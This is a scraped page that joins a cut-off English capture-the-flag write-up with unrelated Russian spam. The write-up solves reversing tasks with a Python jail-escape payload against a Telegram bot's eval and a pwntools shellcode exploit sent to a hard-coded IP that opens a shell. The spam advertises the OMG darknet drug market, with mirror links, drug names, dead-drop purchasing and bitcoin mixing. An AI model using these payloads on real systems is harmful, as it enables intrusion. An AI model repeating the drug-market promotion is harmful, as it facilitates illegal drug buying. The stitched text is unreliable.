)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if ( !(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related

Рабочие зеркала гидры позволяют зайти на сайт ОМГ через обычный браузер в обход блокировки.omg onion официальный сайт.
omg отзывы магазин. купить закладку гашиш. как отличить кокс от фена. как зайти на гидру с телефона. проверенные магазины телеграмм. аккаунты omg с балансом бесплатно. продам шишки бошки. купить шишки телеграм.omg онион тор браузерОМГ входomg onion сайтОМГ википедияОМГ зеркала официальная ссылкаОМГ онион рабочие зеркала на моментальные магазины в торПрикопы с веществами повсюду, в телеграме, в tor, в center web.Спам который вы очень ждали: мефедрон, мефедрон, гашиш, мефедрон, амфитамин, гашиш — все доступно на официальном сайте магазина омг.омг мусорскаякак зайти на гидру без
рабочая тор браузераomg торговая площадкаомг сайт в тор браузере ссылкаомг мусорскаякак зайти на гидру без тор браузераадмин гидрысайт гидры не работаетomg darknetшишки бошки купитьomg shopомг мусорскаяomg wiki ссылкаТомск, Чебоксары, Кострома, Астана, Минск, Нижний Новгород, Первоуральск,
ссылка Санкт-Петербург, Кемерово, Воронеж, Пермь, Кемерово, Омск, вся Страна.Маркет ОМГ ОМГ — криптомаркет нового поколения.ОМГ ТORговая площадкаСсылки omgomg Onion (магазин ОМГ онион) — уникальная торговая площадка в сети ТОР. Криптомаркет работает по всей территории РФ, Беларусии, Украины, Казахстана функционирует 24 часа в сутки, 7 дней в неделю, постоянная онлайн поддержка, авто-гарант, автоматизированные продажи с опалтой через qiwi или биткоин.omg полностью безопасна и написана на современных языках программирования.Основная проблема при регистрации на гидре - это поиск правильной ссылки. Кроме onion ссылки, есть ссылка в обход без тора.Преимущества сайта криптомаркета заключаются в том, что:ОМГ — самый удобный и безопасный магазин для покупки товара;Интернет-магазин лучший в РФ, СНГ и за границей. Есть несущественных различий, по сравнению с другими сайтами, благодаря которым покупатели выбирают именно Гидру;Отсутствуют критичные уязвимости в кибербезопасности (по заявлению администрации omg центр);Вы можете создать собственный биткоин кошелек, обменник биткоина (qiwi в bitcoin);Сайт обладает лучшей системой приватности и анонимности. За все время существования площадки не было ни одной утечки личных данных пользователей и продавцов сайта.Постоянно появляются новые инструменты, позволяющие работать в интернете анонимно.В следствии чего возникли onion сайты (ссылки, находящиеся в домен-зоне onion).Из полезных фич:покупки можно совершать моментально;оплата в битках и киви;покупки можно совершать моментально;пополнить баланс теперь можно даже через Сбербанк.не нужно ждать подтверждения транзакции в блокчейне;оплата в битках и киви;Для перемешивания битков применяйте рейтинг биткоин миксеровbtc mixerКак уже было сказано, ОМГ – самый крупный центр нарко торговли в даркнете. В этом маркетплейсе есть возможность приобрести то, что в открытом доступе купить очень сложно или невозможно. Каждый зарегистрированный пользователь может зайти в любой из имеющихся на сервисе магазинов и купить нелегальный товар, организовав его поставку в города РФ и страны СНГ. Покупка возможна в любое время суток из любой области. Особое преимущество этой площадки это регулярное обновление ассортимента магазинов.Выбрать и пробрести товар услугу не составит труда. Перед покупкой можно ознакомиться с отзывами предыдущих покупателей. Поэтому посетитель сайта может заранее оценить качество покупки и принять решение, нужен ему товар или все же от его покупки стоит отказаться. Приемущество анонимного интернет-портала в наличии службы тайных покупателей. Они следят за тем, чтобы товары, которые представлены в магазинах соответствовали определенным требованиям и даже проводят в выборочных случаях химический анализ продаваемых веществ. Если по непонятным причинам находится несоответствие качеству товара, товар незамедлительно снимают с продажи, магазин закрывают, продавец блокируется.Доставку вещества можно заказать в любой регион России и СНГ, указав координаты, где будет удобно забрать товар. Покупка передается в виде прикопа. После того, как покупатель подтвердит наход товара, убедится в качестве продукта продавец получит свои деньги. Если с качеством или доставкой в момент покупки возникли проблемы, покупатель имеет право открыть спор, к которому сразу же подключатся независимые модераторы Гидры. Оплата закладок производится в криптовалюте, и в большинстве случаев продавцы предпочитают принимать оплату биткоинами. Однако некоторые магазины готовы принять оплату рублями через QIWI-кошелек. Администраторы портала советуют производить оплату криптовалютой, так как это самый надежный способ расчетов, который также позволяет сохранить анонимность проводимых сделок.Что такое ТОР и зачем он нуженTOR — это военная технология, которая позволяет скрыть личность пользователя в сети интернет. Расшифровывается TOR как The Onion Router — луковый маршрутизатор.Тор изначально был военным проектом США, но в скором времени его открыли для спонсоров, и теперь он называется Tor Project. Основная идея этой технологии — обеспечение безопасности и анонимности в сети, где большинство участников не верят друг другу. Смысл этой сети в том, что информация проходит через несколько компьютеров, шифруются, у них меняется IP и вы получаете защищённый канал передачи данных.Что обязательно необходимо учитывать при работе с ОМГ сайтом?От некачественных сделок с моментальными магазинами при посещении сайта не застрахован ни один покупатель.В связи с этим модераторы портала советуют:смотреть на отзывы. Мнение покупателей это важнейший критерий покупки. Отзывы могут повлиять на окончательное решение о покупке товара или клада. Благодаря оставленным комментариям можно узнать о качестве товара, способах доставки и других деталях сотрудничества с продавцом;подтверждать покупку только после того, как будет подтверждено ее качество. Если возникли проблемы, а подтверждение уже сделано, в этом случае деньги не получится вернуть;оставлять отзывы после покупки. Это поможет другим покупателям сделать правильный выбор и не ошибиться при выборе веществ;вводить абсолютно новые пароли и логины для каждого пользователь перед регистрацией. Желательно, чтобы пароли и логины, не были ранее задействованные на других ресурсах. Это позволит соблюсти анонимность;Стоит заметить, что регулярно домен Гидры обновляется ее программистами. Дело в том, что сайт практически каждый день блокируют, и пользователю в результате не удается зайти на площадку, не зная рабочих ссылок. Чтобы избежать эту проблему, администрация портала советует добавить официальную ссылку Гидры в закладки. Сохрани все ссылки себе на сайт и делись ими со своими друзьями.Потенциальный пользователь должен зарегистрироваться для того, чтобы пользоваться всеми возможностями Гидры.Когда модератор подтвердит регистрацию продавца, он получит доступ к правилам пользования площадки. Также сразу после входа он получит возможность пополнить баланс аккаунта, чтобы тут же приступить к покупкам.Пополнение баланса на omgruzxpnew4af заслуживает отдельного внимания. Дело в том, что для внесения в кошелек стандартной валюты площадки – bitcoin – требуется сначала купить фиат, который впоследствии нужно будет обменять на криптовалюту. Купить его можно либо на криптовалютной бирже, либо в специальном обменнике.Когда фиат будет преобретен и обменен на необходимое количество биткоинов, останется перевести деньги в систему. Чтобы это сделать, нужно скопировать адрес биткоин кошелька, который был выдан при регистрации, и отправить на него требуемую сумму с помощью использования различных платежных систем (например, КИВИ). Также обмен на биткоин может быть реализован на самой площадке магазина в специальном разделе «обмен».Как не потерять деньги на сайте мошенниковДля защиты от обманных сайтов, была разработана сеть отказоустойчевых зеркал.Чтобы не попасть на фейковые сайты сохраните ссылку зеркала на этот сайт в закладки. Скопируйте все ссылки с этого сайта к себе на компьютер так как Роскомнадзор может удалить сайт.